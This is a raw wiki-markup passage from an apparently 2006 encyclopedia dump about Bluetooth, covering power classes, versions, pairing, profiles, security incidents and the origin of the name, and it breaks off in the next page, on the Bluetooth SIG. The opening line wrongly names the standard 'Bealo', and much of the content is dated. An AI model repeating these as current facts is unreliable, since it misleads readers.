Bealo  is a [[radio]] standard primarily designed for low power consumption, with a short [[range]] (power class dependent: 10 [[centimeter]]s, 10 [[meter]]s, 100 meters) and with a low-cost [[transceiver]] [[microchip]] in each device.

Bluetooth lets these devices talk to each other when they come in range, even if they are not in the same room, as long as they are within up to 100 meters of each other, dependent on the power class of the product. Products are available in one of three power classes: 

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! Class !! Power&lt;br&gt;([[milliwatt|mW]]) !! Power&lt;br&gt;([[DBm|dBm]]) !! Range&lt;br&gt;(approximate)
|-
! Class 1
| 100 mW || 20 dBm || ~100 meters
|-
! Class 2 
| 2.5 mW || 4 dBm || ~10 meters
|-
! Class 3 
| 1 mW || 0 dBm || ~10cm (1 meter max)
|}

== Bluetooth applications ==
[[Image:Bluetooth Mouse.jpg|thumb|A Bluetooth [[computer mouse|mouse]].]]

*Wireless networking between desktops and laptops, or desktops in a confined space and where little bandwidth is required
*Bluetooth [[peripherals]] such as [[computer printer|printers]], [[computer mouse|mice]] and [[computer keyboard|keyboards]]
*Bluetooth [[cell phone]]s have been sold in large numbers, and are able to connect to [[computers]], [[personal digital assistant]]s (PDAs), certain automobile [[handsfree]] systems and various other devices. The standard also includes support for more powerful, longer-range devices suitable for constructing [[wireless LAN]]s.
*Transfer of files (images, mp3s, etc) between mobile phones, [[Personal digital assistant]]s (PDAs) and [[computer]]s via [[OBEX]]
*Certain [[mp3 player]]s and [[digital camera]]s to transfer files to and from computers
*Bluetooth headsets for mobile phones and [[smartphone]]s
*Some testing equipment is Bluetooth enabled
*Some medical applications are under development
*Certain GPS receivers transfer [[NMEA]] data via Bluetooth
*Bluetooth car kits — [[Acura]], with the 2004 Acura TL, was the first motor vehicle manufacturer to install handsfree Bluetooth technology. Later, [[BMW]] added it as an option on its [[BMW 3-Series|3 Series]], [[BMW 5-Series|5 Series]], [[BMW 7-Series|7 Series]] and [[BMW X5|X5]] vehicles. Since then, other manufacturers have followed suit, with many vehicles, including the 2004 [[Toyota Prius]] and the 2004 [[Lexus]] LS 430. The Bluetooth car kits allow users with Bluetooth-equipped cell phones to make use of some of the phone's features, such as making calls, while the phone itself can be left in a suitcase or in the boot/trunk, for instance. Companies like Parrot or Motorola manufacture Bluetooth hands-free car kits for well-known brand car manufacturers.
*Certain data logging equipment transmits data to a computer via Bluetooth.
*For remote controls where infrared was traditionally used.
*Hearing aids — [[Starkey Laboratories]] have created a device to plug into some hearing aids [http://www.elihearing.com]
*[[Nintendo Revolution]] and Sony's Playstation 3 will use Bluetooth technology for its wireless controllers.  Also Hip Gear has already released a Bluetooth controller for the Xbox.
*Newer model [http://www.zoll.com Zoll] Defibrilators for the purpose of transmitting Defibrilation Data and Patient Monitoring/ECG data between the unit and a reporting PC using Zoll Rescue Net software.
*The upcoming [[Mindstorms#Lego_Mindstorms_NXT|LEGO Mindstorms NXT]] will use Bluetooth as an alternative way to receive programs from the computer.

== Specifications and Features ==
The Bluetooth specification was first developed by [[Ericsson]], and was later formalized by the [[Bluetooth SIG|Bluetooth Special Interest Group]] (SIG). The SIG was formally announced on [[May 20]], [[1999]]. It was established by [[Sony Ericsson]], [[IBM]], [[Intel]], [[Toshiba]] and [[Nokia]], and later joined by many other companies as Associate or Adopter members.  Bluetooth is also known as [[IEEE 802.15.1]].

'''''=== Bluetooth 1.0 and 1.0B ===Versions 1.0 and 1.0B had numerous problems and the various manufacturers had great difficulties in making their products interoperable.  1.0 and 1.0B also had mandatory Bluetooth Hardware Device Address (BD_ADDR) transmission in the [[handshaking]] process, rendering anonymity impossible at a protocol level, which was a major set back for services planned to be used in Bluetooth environments, such as Consumerium.'''''

=== Bluetooth 1.1 ===
In version 1.1:
*many errata found in the 1.0B specifications were fixed. 
*added support for non-encrypted channels.
*''Received Signal Strength Indicator (RSSI)''

=== Bluetooth 1.2 ===
This version is backwards compatible with 1.1 and the major enhancements include
*''Adaptive [[Frequency-hopping spread spectrum]] (AFH)'', which improves resistance to [[radio frequency interference]] by avoiding using crowded frequencies in the hopping sequence
*''Higher transmission speeds'' in practice
*''extended Synchronous Connections (eSCO)'', which improves voice quality of audio links by allowing retransmissions of corrupted packets.
*''Host Controller Interface (HCI) support for 3-wire UART''
*''HCI access to timing information'' for Bluetooth applications.

=== Bluetooth 2.0 ===
This version is backwards compatible with 1.x. The main enhancement is the introduction of
''Enhanced Data Rate (EDR)'' of 2.1 Mbit/s. This has the following effects (Bluetooth SIG, 2004):
* 3 times faster transmission speed (up to 10 times in certain cases).
* Lower power consumption through a reduced duty cycle.
* Simplification of multi-link scenarios due to more available bandwidth.
* Further improved BER ([[Bit error rate]]) performance.

=== The Future of Bluetooth ===
The next version of Bluetooth, currently code named Lisbon, includes a number of features to increase security, useability and value of Bluetooth. The following features are defined:

* Atomic Encryption Change - allows encrypted links to change their encryption keys periodically, increasing security, and also allowing role switches on an encrypted link.

* Extended Inquiry Response - provides more information during the inquiry procedure to allow better filtering of devices before connection. This information includes the name of the device, and a list of services, with other information.

* Sniff Subrating - reducing the power consumption when devices are in the sniff low power mode, especially on links with asymmetric data flows. HId devices are expected to benefit the most with mice and keyboards increasing the battery life from 3 to 10 times those currently used.

* QoS Improvements - these will enable auto and video data to be transmitted at a higher quality, especially when best effort traffic is being transmitted in the same piconet.

* Simple Pairing - this improvement will radically improve the pairing experience for Bluetooth devices, while at the same time increasing the use and strength of security. It is expected that this feature will be significantly increase the use of Bluetooth.


The version of Bluetooth after Lisbon, code-named Seattle, has a number of features, but the main one announced is the allignment with UltraWideBand. This will allow the use of Bluetooth profiles over the UWB radio, enabling very fast data transfers, synchronizations and file pushes, while also building on the low power idle modes of Bluetooth. The combination of a low power radio used when no data needs to be transmitted, and a high data rate radio used to transmit the bulk data could be the start of the software radios. Bluetooth, given its worldwide regulatory approval, lowest power operation, and extremely robust data transmission capabilities provides an ideal signalling channel to enable the soft radio concept to start with WiMedia UWB.

== Technical information ==
=== Communication &amp; Connection ===
A Bluetooth device playing the role of the &quot;master&quot; can communicate with up to 7 devices playing the role of the &quot;slave&quot;. This network of &quot;group of up to 8 devices&quot; (1 master + 7 slaves) is called a [[piconet]].

At any given time, data can be transferred between the master and 1 slave; but the master switches rapidly from slave to slave in a [[round-robin scheduling|round-robin]] fashion. (Simultaneous transmission from the master to multiple slaves is possible, but not used much in practice). Either device may switch the master/slave role at any time.

Bluetooth specification allows connecting 2 or more piconets together to form a [[scatternet]], with some devices acting as a bridge by simultaneously playing the master role in one piconet and the slave role in another piconet. These devices have yet to come, though are supposed to appear next year (2007).

=== Setting up connections ===
Any Bluetooth device will transmit the following sets of information on demand
*Device Name
*Device Class
*List of services
*Technical information eg: device features, manufacturer, Bluetooth specification, clock offset

Any thing may perform an &quot;inquiry&quot; to find other devices to which to connect, and any device can be configured to respond to such inquiries. However if the device trying to connect knows the address of the device it will always respond to direct connection requests and will transmit the information shown in the list above if requested for it. Use of the device's services however may require pairing or its owner to accept but the connection itself can be started by any device and be held until it goes out of range. Some devices can only be connected to one device at a time and connecting to them will prevent them from connecting to other devices and showing up in inquiries until they disconnect the other device. 

Every device has a unique 48-bit address.  However these addresses are generally not shown in inquiries and instead friendly &quot;Bluetooth names&quot; are used which can be set by the user, and will appear when another user scans for devices and in lists of paired devices.  Most phones have the Bluetooth name set to the manufacturer and model of the phone by default. Most phones and laptops will only show the Bluetooth names and special programs are required to get additional information about remote devices. This can get confusing with activities such as [[Bluejacking]] as there could be several phones in range named &quot;[[Sony Ericsson T610|T610]]&quot; for example.
On [[Nokia]] phones and the [[Siemens_SX1|Siemens SX1]] the Bluetooth address may be found by entering &quot;*#2820#&quot;. On computers running [[Linux]] the address and class of a USB Bluetooth dongle may be found by entering &quot;hciconfig hci0 class&quot; as root (&quot;hci0&quot; may need to be replaced by another device name).

        BD Address: 00:10:60:A7:93:19 ACL MTU: 192:8 SCO MTU: 64:8
        Class: 0x020005
        Service Classes: Networking
        Device Class: Miscellaneous,

Every device also has a 24-bit class identifier. This provides information on what kind of a device it is (Phone, Smartphone, Computer, Headset, etc), which will also be transmitted when other devices perform an inquiry. On some phones this information is translated into a little icon displayed beside the device's name.

Bluetooth devices will also transmit a list of services if requested by another device; this also includes some extra information such as the name of the service and what channel it is on. These channels are virtual and have nothing to do with the frequency of the transmission, much like TCP ports. A device can therefore have multiple identical services. 

        Browsing 00:0E:ED:B0:AF:34 ...
        Service Name: OBEX Object Push
        Service RecHandle: 0x10000
        Service Class ID List:
         &quot;OBEX Object Push&quot; (0x1105)
        Protocol Descriptor List:
         &quot;L2CAP&quot; (0x0100)
         &quot;RFCOMM&quot; (0x0003)
        Channel: 9
         &quot;OBEX&quot; (0x0008)
        Language Base Attr List:
         code_ISO639: 0x454e
         encoding:    0x6a
         base_offset: 0x100
        Profile Descriptor List:
         &quot;OBEX Object Push&quot; (0x1105)
         Version: 0x0100

Technical data used for managing the connection may also be extracted from a device.

        BD Address:  00:11:24:B3:50:FB
        Device Name: My little special laptop
        LMP Version: 2.0 (0x3) LMP Subversion: 0x7ad
        Manufacturer: Cambridge Silicon Radio (10)
        Features: 0xff 0xff 0x8f 0xfe 0x9b 0xf9 0x00 0x80
                &lt;3-slot packets&gt; &lt;5-slot packets&gt; &lt;encryption&gt; &lt;slot offset&gt;
                &lt;timing accuracy&gt; &lt;role switch&gt; &lt;hold mode&gt; &lt;sniff mode&gt;
                &lt;park state&gt; &lt;RSSI&gt; &lt;channel quality&gt; &lt;SCO link&gt; &lt;HV2 packets&gt;
                &lt;HV3 packets&gt; &lt;A-law log&gt; &lt;CVSD&gt; &lt;paging scheme&gt;
                &lt;power control&gt; &lt;transparent SCO&gt; &lt;broadcast encrypt&gt;
                &lt;EDR ACL 2 Mbps&gt; &lt;EDR ACL 3 Mbps&gt; &lt;enhanced iscan&gt;
                &lt;interlaced iscan&gt; &lt;interlaced pscan&gt; &lt;inquiry with RSSI&gt;
                &lt;extended SCO&gt; &lt;EV4 packets&gt; &lt;EV5 packets&gt; &lt;AFH cap. slave&gt;
                &lt;AFH class. slave&gt; &lt;3-slot EDR ACL&gt; &lt;5-slot EDR ACL&gt;
                &lt;AFH cap. master&gt; &lt;AFH class. master&gt; &lt;EDR eSCO 2 Mbps&gt;
                &lt;EDR eSCO 3 Mbps&gt; &lt;3-slot EDR eSCO&gt; &lt;extended features&gt;

=== Pairing ===
Pairs of devices may establish a trusted relationship by learning (by user input) a shared secret known as a &quot;passkey&quot;. A device that wants to communicate only with a trusted device can [[cryptography|cryptographically]] [[authentication|authenticate]] the identity of the other device. Trusted devices may also [[encryption|encrypt]] the data that they exchange over the air so that no one can listen in. The encryption can however be turned off and passkeys are stored on the device's file system and not the Bluetooth chip itself. Since the Bluetooth address is permanent a pairing will be preserved even if the Bluetooth name is changed. Pairs can be deleted at any time by either device. Devices will generally require pairing or will prompt the owner before it allows a remote device to use any or most of its services. Some devices such as [[Sony Ericsson]] phones will usually accept OBEX business cards and notes without any pairing or prompts. 
Certain printers and access points will allow any device to use its services by default much like unsecured [[Wi-Fi]] networks.

=== Air interface ===
The [[protocol (computing)|protocol]] operates in the license-free [[ISM band]] at 2.45 [[GHz]]. In order to avoid interfering with other protocols which use the 2.45 GHz band, the Bluetooth protocol divides the band into 79 channels (each 1 MHz wide) and changes channels up to 1600 times per second. Implementations with versions 1.1 and 1.2 reach speeds of 723.1 [[kilobit per second|kbit/s]]. Version 2.0 implementations feature ''Bluetooth Enhanced Data Rate (EDR)'', and thus reach 2.1 Mbit/s. Technically version 2.0 devices have a higher power consumption, but the three times faster rate reduces the transmission times, effectively reducing consumption to half that of 1.x devices (assuming equal traffic load).

Bluetooth differs from [[Wi-Fi]] in that the latter provides higher throughput and covers greater distances but requires more expensive hardware and higher power consumption. They use the same [[frequency range]], but employ different multiplexing schemes. While Bluetooth is a cable replacement for a variety of applications, Wi-Fi is a cable replacement only for [[local area network]] access. A glib summary is that Bluetooth is wireless [[USB]] (although [[Wireless USB]] is really wireless [[USB]]), whereas Wi-Fi is wireless [[Ethernet]], both operating at much lower bandwidth than the cable systems they are trying to replace.

Many USB Bluetooth [[adapter]]s are available, some of which also include an [[IrDA]] adapter.

== Security ==
=== Security measures ===
Bluetooth uses the [[SAFER|SAFER+]] algorithm for [[authentication]] and [[key (cryptography)|key]] generation. The [[E0 (cipher)|E0]] stream cipher is used for encrypting packets. This makes eavesdropping on Bluetooth-enabled devices more difficult.

=== Security concerns ===
'''2003''': &lt;br&gt;
In November [[2003]], Ben and Adam Laurie from [http://www.thebunker.net/index.html A.L. Digital Ltd.] discovered that serious flaws in Bluetooth security may lead to disclosure of personal data (see [http://bluestumbler.org http://bluestumbler.org]). It should be noted however that the reported security problems concerned some poor implementations of Bluetooth, rather than the protocol itself.

In a subsequent experiment, Martin Herfurt from the [http://trifinite.org/trifinite_group.html trifinite.group] was able to do a field-trial at the [[CeBIT]] fairgrounds showing the importance of the problem to the world. A new attack called [http://trifinite.org/trifinite_stuff_bluebug.html BlueBug] was used for this experiment.

'''2004''': &lt;br&gt;
In April [[2004]], security consultants [http://www.atstake.com @Stake] revealed a security flaw that makes it possible to [[security cracking|crack]] into conversations on Bluetooth based wireless headsets by [[reverse engineering]] the [[Personal identification number|PIN]].

This is one of a number of concerns that have been raised over the security of Bluetooth communications. In 2004 the first '''purported''' [[computer virus|virus]] using Bluetooth to spread itself among mobile phones [http://www.theregister.co.uk/2004/06/15/symbian_virus/ appeared] for the [[Symbian OS]]. The virus was first described by [[Kaspersky|Kaspersky Lab]] and requires users to confirm the installation of unknown software before it can propagate. &lt;br&gt; 
: '''Note''': the virus was written as a proof-of-concept by a group of virus writers known as 29a and sent to anti-virus groups. Thus it should be regarded as a '''potential''' (but NOT real) security threat of Bluetooth or [[Symbian OS]] as the virus has never spread in the wild.

In August 2004, a [http://trifinite.org/trifinite_stuff_lds.html world-record-setting experiment] (see also [[Bluetooth sniping]]) showed that the range of class 2 Bluetooth radios could be extended to 1.78 km (1.08 [[mile]]) with directional antennas. This poses a potential security threat as it enables attackers to access vulnerable Bluetooth-devices from a distance beyond expectation. However such experiments will not work using signal amplifiers as the attacker must also be able to receive information from its victim in order to set up a connection. No attack can be made against a Bluetooth device unless the attacker knows its Bluetooth address and which channels to transmit on.

'''2005''': &lt;br&gt;
In June 2005 Yaniv Shaked and Avishai Wool published the paper [http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05/index.html &quot;Cracking the Bluetooth PIN1&quot;], which shows both passive and active methods for obtaining the PIN for a Bluetooth Link. The passive attack would allow a suitably equipped attacker to eavesdrop on communications and spoof if they were present at the time of initial pairing. The active method makes use of a specially constructed message that must be inserted at a specific point in the protocol, to make the master and slave repeat the pairing process. After that the first method may be used to crack the PIN. This attack's major weakness is that it requires the user of the devices under attack to re-enter their PIN during the attack when their device prompts them to. Also, this active attack will most likely require custom hardware, as most commercially available Bluetooth Devices are not capable of the timing necessary.

In August 2005, police in [[Cambridgeshire]], England, [http://www.cambridge-news.co.uk/news/region_wide/2005/08/17/06967453-8002-45f8-b520-66b9bed6f29f.lpf issued warnings] about thieves using Bluetooth-enabled phones to track other devices left in cars. Police are advising users to ensure any mobile networking connections are de-activated if laptops and other devices are left in this way. However the best way is to not leave any valuable devices in cars.

== Bluetooth profiles ==
In order to use Bluetooth, a device must be able to interpret certain Bluetooth profiles. These define the possible applications. The following profiles are defined and adopted by the Bluetooth SIG:
; Advanced Audio Distribution Profile (A2DP) : Also referred to as the AV profile, it is designed to transfer a stereo audio stream like music from an [[Digital audio player |MP3 player]] to a headset or car radio. This profile relies on GAVDP. It includes mandatory support for low complexity subband codec (SBC) and supports optionally: [[MPEG-1]],2 Audio, [[MPEG-2]],4 [[Advanced Audio Coding |AAC]] and [[ATRAC]]. Bluetake's I-Phono Hi-Fi Sport Headphones are an example of this profile being employed. Most bluetooth stacks implement the SCMS-T copyright protection. In these cases it is not possible to connect the A2DP headphones for high quality audio. E.g. the Motorola HT820 can be used for high quality audio only with certain versions of the Toshiba bluetooth stack.

; Audio/Video Remote Control Profile (AVRCP) : This profile is designed to provide a standard interface to control TVs, Hi-fi equipment, etc. to allow a single remote control (or other device) to control all of the A/V equipment that a user has access to. It may be used in concert with A2DP or VDP.
It has the possibility for vendor-dependent extensions. The '''Generic Media Control Profile''' (GMCP) is proposed to be an open standard for transfer of media content related information using those extensions.

; Basic Imaging Profile (BIP) : This profile is designed for sending images between devices and includes the ability to resize, and convert images to make them suitable for the receiving device. It may be broken down into smaller pieces:
:; Image Push : Allows the sending of images from a device the user controls.
:; Image Pull : Allows the browsing and retrieval of images from a remote device. 
:; Advanced Image Printing : print images with advanced options using the [[DPOF]] format developed by [[Canon Inc.| Canon]], [[Kodak]], [[Fujifilm]], and [[Matsushita]]
:; Automatic Archive : Allows the automatic backup of all the new images from a target device. For example, a laptop could download all of the new pictures from a camera whenever it is within range.
:; Remote Camera : Allows the initiator to remotely use a [[digital camera]]. For example, a user could place a camera on a tripod for a group photo, use their phone handset to check that everyone is in frame, and activate the shutter with the user in the photo.
:; Remote Display : Allows the initiator to push images to be displayed on another device. For example, a user could give a presentation by sending the slides to a [[digital projector]].

; Basic Printing Profile (BPP) : This allows devices to send text, e-mails, vCards, or other items to [[printers]] based on print jobs. It differs from HCRP in that it needs no printer-specific drivers. This makes it more suitable for embedded devices such as mobile phones and [[digital cameras]] which cannot easily be updated with drivers dependent upon printer vendors.

; Common ISDN Access Profile (CIP) : This provides unrestricted access to the services, data and signalling that [[Integrated Services Digital Network |ISDN]] offers.

; Cordless Telephony Profile (CTP) : This is designed for [[Cordless telephone|cordless phones]] to work using Bluetooth. It is hoped that mobile phones could use a Bluetooth CTP gateway connected to a [[landline]] when within the home, and the mobile phone network when out of range. It is central to the Bluetooth SIG's '3-in-1 phone' use case. 

; Dial-up Networking Profile (DUN) : This profile provides a standard to access the Internet and other dial-up services over Bluetooth. The most common scenario is accessing the Internet from a laptop by dialling up on a mobile phone, wirelessly. It is based on SPP, and provides for relatively easy conversion of existing products, through the many features that it has in common with the existing wired serial protocols for the same task. These include the AT command set specified in [[European Telecommunications Standards Institute|ETSI]] 07.07, and [[Point-to-Point Protocol|PPP]]. 

; Fax Profile (FAX) : This profile is intended to provide a well defined interface between a mobile phone or [[landline|fixed-line phone]] and a PC with Fax software installed. Support must be provided for [[T.31 and T.32 |ITU T.31 and / or ITU T.32]] [[AT command]] sets as defined by [[ITU-T]]. Data and voice calls are not covered by this profile.

; File Transfer Profile (FTP) : Provides access to the file system on another device. This includes support for getting folder listings, changing to different folders, getting files, putting files and deleting files. It uses [[OBEX]] as a transport and is based on GOEP.

; General Audio/Video Distribution Profile (GAVDP) : Provides the basis for A2DP, and VDP. 

; Generic Access Profile (GAP) : Provides the basis for all other profiles.

; Generic Object Exchange Profile (GOEP) : provides a basis for other data transfer profiles. Based on [[OBEX]].

; Hands Free Profile (HFP) : This is commonly used to allow car hands free kits to communicate with mobile phones in the car. It uses SCO to carry a mono, [[Pulse-code modulation|PCM]] audio channel. It is considered to be the [[killer app]] for Bluetooth as more Governments are passing legislation to ban the direct use of mobile phones while driving.

; Hard Copy Cable Replacement Profile (HCRP) : This provides a simple wireless alternative to a cable connection between a device and a printer. Unfortunately it does not set a standard regarding the actual communications to the printer, so drivers are required specific to the printer model or range. This makes this profile less useful for embedded devices such as digital cameras and palmtops, as updating drivers can be problematic.

; Headset Profile (HSP) : This is the most commonly used profile, providing support for the popular Bluetooth Headsets to be used with mobile phones. It relies on SCO for audio and a subset of [[AT command|AT commands]] from GSM 07.07 for minimal controls including the ability to ring, answer a call, hang up and adjust the volume.

; Human Interface Device Profile (HID) : provides support for devices such as mice, joysticks, keyboards, etc. It is designed to provide a low latency link, with low power requirements. Popular devices that feature support for this profile include: [[Logitech]] diNovo Media Desktop 2.0, [[Microsoft]] Optical Desktop Elite. The unreleased [[PlayStation 3]] controllers will also use BT HID.

; Intercom Profile (ICP) : This is often referred to as the [[walkie-talkie]] profile. It is another TCS based profile, relying on SCO to carry the audio. It is proposed to allow voice calls between two Bluetooth capable handsets, over Bluetooth.

; Object Push Profile (OPP) : A basic profile for sending &quot;objects&quot; such as pictures, [[vCard|virtual business cards]], or [[vCalendar|appointment details]]. It is called push because the transfers are always instigated by the sender (client), not the receiver (server).

; Personal Area Networking Profile (PAN) : This profile is intended to allow the use of Bluetooth Network Encapsulation Protocol on [[Network Layer|Layer 3]] protocols for transport over a Bluetooth link.

; Serial Port Profile (SPP) : This profile is based on the [[ETSI]] TS07.10 specification and uses the [[RFCOMM]] protocol. It emulates a serial cable to provide a simply implemented wireless replacement for existing [[RS232]] based serial communications applications, including familiar control signals. It provides the basis for DUN, FAX, HSP and LAN profiles.

; Service Discovery Application Profile (SDAP) : This mandatory profile is used to find out which profiles are offered by the Server device.

; SIM Access Profile (SAP) : This allows devices such as car phones with built in GSM transceivers to connect to a SIM card in a phone with Bluetooth, so the car phone itself doesn't require a separate SIM card.

; Synchronisation Profile (SYNCH) : This profile allows synchronisation of Personal Information Manager (PIM) items. As this profile originated as part of the infrared specifications but has been adopted by the Bluetooth SIG to form part of the main Bluetooth specification, it is also commonly referred to as IrMC Synchronization.

; Video Distribution Profile (VDP) : This profile allows the transport of a video stream. It could be used for streaming a recorded video from a PC media centre to a portable player, or from a digital video camera to a TV. Support for H.263 baseline is mandatory. Support for MPEG-4 Visual Simple Profile, H.263 profiles 3 and 8 are optionally supported, and covered in the specification.

The remaining profiles are still not finalised, but are currently proposed within the Bluetooth SIG:

* Handsfree Profile 1.5 (HFP 1.5)
* Unrestricted Digital Information (UDI)
* Wireless application Protocol over BT (WAP)
* Extended Service discovery profile (ESDP)
* Local Positioning Profile (LPP)
* Video Conferencing Profile (VCP)
* Device ID (DID) :  Allows a device to be identified according to the Specification version met, the Manufacturer, product, product version, etc. It enables similar applications to those the [[Plug-and-play]] specification allows.

Compatibility of products with profiles can be verified on the [http://qualweb.bluetooth.org/Template2.cfm?LinkQualified=QualifiedProducts Bluetooth Qualification website].

== Future of Bluetooth ==
Bluetooth technology already plays a part in the rising [[Voice over IP]] (VOIP) scene, with Bluetooth headsets being used as wireless extensions to the PC audio system. As VOIP becomes more popular, and more suitable for general home or office users than wired phone lines, Bluetooth may be used in Cordless handsets, with a base station connected to the Internet link. 

In May 2005, the [[Bluetooth Special Interest Group]] (SIG) announced its intent to work with [[ultra wideband|UWB]] manufacturers to develop a next-generation Bluetooth technology using UWB technology and delivering UWB speeds.  This will enable Bluetooth technology to be used to deliver high speed network [[data exchange rates]] required for wireless VOIP, music and video applications.

== Origin of the name and the logo ==
The system is named after a [[Denmark|Danish]] king Harald Blåtand ([[Harold I of Denmark]] in English), King of [[Denmark]] and [[Norway]] from 935 and 936 respectively, to 940 known for his unification of previously warring tribes from Denmark (including [[Skåne]], present-day Sweden, where the Bluetooth technology was invented) and [[Norway]]. Bluetooth likewise was intended to unify different technologies like [[computer]]s and mobile phones. The Bluetooth logo merges the Nordic [[Runic alphabet|rune]]s analogous to the modern Latin H and B: [[Haglaz|ᚼ]] and [[Berkanan|ᛒ]]. This is the official story; however, the actual Harald Blåtand that was referred to in naming Bluetooth was most probably the liberal interpretation given to him in [[The Long Ships]] by [[Frans Gunnar Bengtsson]], a Swedish [[best-seller|best-selling]] [[Viking]]-inspired novel.

This logo is also a variation on an older logo for Beauknit Textiles, a division of Beauknit Corporation. That logo, using the obvious connection of a reversed K and B for Beauknit, is wider and has rounded corners, but is otherwise the same.

The name was originally only a code-name for the project, but ended up sticking.

== Bluetooth Consortium ==
In [[1998]], [[Intel]], [[IBM]], [[Ericsson]], [[Nokia]] and [[Toshiba]] formed the consortium among themselves and adopted the code name Bluetooth for their proposed open specification. Later [[Microsoft]], [[3Com]] and [[Lucent Technologies]] joined the initial founders as the promoter group.  Since that time, [[Lucent Technologies]] transferred their membership to their spinoff [[Agere Systems]] and [[3Com]] has since left the Promoter group.

Of the original Promoter group, only Intel has not yet shipped a Bluetooth enabled product.

{{Template:Wireless_competitors}}

== See also ==
* [[Bluecasting]]
* [[Bluechat]]
* [[Bluejacking]] — a form of communication via Bluetooth
* [[Bluetooth sniping]]
* [[Bluesnarfing]]
* [[Blunt]] — Bluetooth protocol stack for Newton OS 2.1
* [[Cable spaghetti]] — a problem wireless technology hopes to solve
* [[Cambridge Silicon Radio]] — designer, manufacturer and supplier of Bluetooth chips
*''[[Harold I of Denmark#Bluetooth wireless specification|Origin of the word '''Bluetooth''']]''
* [[Infrared Data Association|IrDA]]
* [[JINI|Jini]]
* [[LibertyLink]]
* [[MaxStream]]
* [[OSGi]] Alliance
* [[Salutation (computing)|Salutation]]
* [[Service Location Protocol]]
* [[Toothing]]
* [[Ultra Wideband]]
* [[Universal plug-and-play]]
* [[Vehicular communication systems]]
* [[Wireless dating]]

== References ==
* Bluetooth SIG (November 8, 2004). [http://www.bluetooth.com/news/releases.asp?A=2&amp;PID=1437&amp;ARC=1 Bluetooth Special Interest Group Launches Bluetooth Core Specification Version 2.0 + Enhanced Data Rate]. Press release. (link not working 2/21/2006)

== External links ==
*[http://electronics.howstuffworks.com/bluetooth.htm HowStuffWorks] &quot;How Bluetooth Works&quot; on [[HowStuffWorks|HowStuffWorks.com]]
*[http://www.uwbforum.org/ UWB Forum] — partner trade association for higher speed &quot;Bluetooth&quot; built with Ultra-Wideband.
*[http://www.bluetooth.com/ The Official Bluetooth&amp;reg; Wireless Info Site]  SIG public pages
*[http://www.bluetomorrow.com/ What is Bluetooth Technology] The Comprehensive Guide to everything Bluetooth related
*[http://www.tutorial-reports.com/wireless/bluetooth/ Bluetooth Tutorial] Includes information on Architecture, Protocols, Establishing Connections, Security and Comparisons
*[http://www.palowireless.com/bluetooth Palowireless Bluetooth Resource Center]
*[http://www.btnode.ethz.ch BTnodes &amp;#8211; A Distributed Environment for Prototyping Ad Hoc Networks]  A demonstration platform for research in mobile, ad-hoc networks and distributed sensor networks
*[http://citeseer.nj.nec.com/context/1174778/0 Mapping Salutation Architecture APIs to Bluetooth Service Discovery Layer]
*[https://www.bluetooth.org/ Bluetooth.org — The Official Bluetooth Membership Site]
*[http://www.bluetooth.com/upload/24Security_Paper.PDF Bluetooth&amp;#8482; Security White Paper]
*[http://www.windowsecurity.com/articles/Bluetooth-Security-Threat.html Bluetooth: Is it a Security Threat?]
*[http://people.csail.mit.edu/albert/bluez-intro An Introduction to Bluetooth programming in GNU/Linux]
*[http://www.wi-fiplanet.com/tutorials/article.php/1379911  Minimizing Bluetooth Interference]
*[http://www.linux.ie/articles/bluetoothheadset.php www.linux.ie:Linux and Bluetooth Headset howto (AKA: Fedora, BTSCO, Bluez, Jabra and Skype)]
*[http://www.venu4u.info/network/bt.html  Bluetooth Directory &amp;amp; Informational Resource]

* [http://www.nokia-online.co.uk/Nokia-Bluetooth-technologies/ Nokia - Nokia Bluetooth technologies]

=== Bluetooth products and devices ===
*[http://qualweb.bluetooth.org/Template2.cfm?LinkQualified=QualifiedProducts Bluetooth qualified products] A database of all certified Bluetooth products with the list of profiles they support.

[[Category:Wireless networking]]
[[Category:Computer networks]]

[[ar:بلوتوث]]
[[ca:Bluetooth]]
[[cs:Bluetooth]]
[[da:Bluetooth]]
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[[fa:بلوتوث]]
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[[ko:블루투스]]
[[it:Bluetooth]]
[[he:שן כחולה]]
[[lt:Bluetooth]]
[[hu:Bluetooth]]
[[nl:Bluetooth]]
[[ja:Bluetooth]]
[[no:Blåtann]]
[[nn:Blåtann]]
[[pl:Bluetooth]]
[[pt:Bluetooth]]
[[ru:Bluetooth]]
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[[sv:Bluetooth]]
[[vi:Bluetooth]]
[[tr:Bluetooth]]
[[zh:蓝牙]]</text>
    </revision>
  </page>
  <page>
    <title>Bluetooth Special Interest Group</title>
    <id>3743</id>
    <revision>
      <id>40044452</id>
      <timestamp>2006-02-17T18:57:17Z</timestamp>
      <contributor>
        <ip>206.106.168.10</ip>
      </contributor>
      <comment>/* Membership */ removed some dead links</comment>
      <text xml:space="preserve">[[Image:Bluetooth logo.png|thumb|right|[[Bluetooth]]'s logo]]
The '''Bluetooth Special Interest Group (SIG)''' is the [[standards organisation|body]] that oversees the development of [[Bluetooth]] [[standardization|standard]]s and the licensing of the Bluetooth technologies and [[trademark]]s to manufacturers. Founded in [[1998]], it is a privately held [[trade association]] headquartered in [[Bellevue, Washington|Bellevue]], [[Washington]] with [[Michael Foley]] presently its [[Executive Director]].

==Introduction==
[[Bluetooth]] provides a way to exchange information between [[wireless]] devices such as [[personal digital assistant]]s (PDAs), [[mobile phone]]s, [[laptop]]s, [[computer]]s, [[printer]]s and [[digital camera]]s via a secure, low-cost, globally available short-range [[radio]] [[frequency]] band. Originally developed by [[Ericsson]], Bluetooth is now used in many different products by many different [[Manufacturing|manufacturers]]. These manufacturers must be members of some level (see below) in the Bluetooth SIG before they are granted access to the Bluetooth specifications. The SIG also specifies a qualification process that products must be tested in accordance with before they may be branded with the Bluetooth [[trademark]]s and sold to consumers. It also markets the Bluetooth brand and technology and owns the trademarks and standardization documents.

From its founding in [[1998]] until recently, the SIG was run by [[volunteer]] staff from its member companies. However, it now has an [[Executive Director]], [[Michael Foley]], a [[General Manager]] and a small staff comprising operations, [[engineering]] and [[marketing]] specialists. It is based in [[Bellevue, Washington]] but also has offices in [[Malmö]], [[Sweden]]. In addition to its professional staff, the SIG still relies on many volunteers from member companies who participate in the various working groups that produce the standardization documents and oversee the qualification process for new products.

==Structure==
The SIG comprises Corporate Groups, Study Groups, Expert Groups and Working Groups, along with committees [https://www.bluetooth.org/bluetooth/landing/sig_groups.php].

The Corporate Groups are simply the [[Board of Directors]] and the professional staff of the SIG.

===Study groups===
